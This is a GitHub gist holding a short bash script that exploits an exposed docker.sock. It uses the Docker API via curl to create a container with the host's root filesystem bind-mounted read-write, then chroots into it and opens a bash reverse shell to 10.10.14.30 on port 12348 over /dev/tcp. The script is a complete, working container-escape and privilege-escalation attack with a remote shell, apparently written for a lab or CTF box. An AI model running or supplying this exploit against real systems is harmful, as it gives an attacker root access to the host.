Skip to content

Instantly share code, notes, and snippets.

@PwnPeter
Created December 6, 2020 16:30
Show Gist options
  • Star 18 You must be signed in to star a gist
  • Fork 8 You must be signed in to fork a gist
  • Save PwnPeter/3f0a678bf44902eae07486c9cc589c25 to your computer and use it in GitHub Desktop.
Save PwnPeter/3f0a678bf44902eae07486c9cc589c25 to your computer and use it in GitHub Desktop.
Exploit docker.sock to mount root filesystem in a container
#!/bin/bash
# you can see images availables with
# curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
# here we have sandbox:latest
# command executed when container is started
# change dir to tmp where the root fs is mount and execute reverse shell
cmd="[\"/bin/sh\",\"-c\",\"chroot /tmp sh -c \\\"bash -c 'bash -i &>/dev/tcp/10.10.14.30/12348 0<&1'\\\"\"]"
# create the container and execute command, bind the root filesystem to it, name the container peterpwn_root and execute as detached (-d)
curl -s -X POST --unix-socket /var/run/docker.sock -d "{\"Image\":\"sandbox\",\"cmd\":$cmd,\"Binds\":[\"/:/tmp:rw\"]}" -H 'Content-Type: application/json' http://localhost/containers/create?name=peterpwn_root
# start the container
curl -s -X POST --unix-socket /var/run/docker.sock "http://localhost/containers/peterpwn_root/start"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment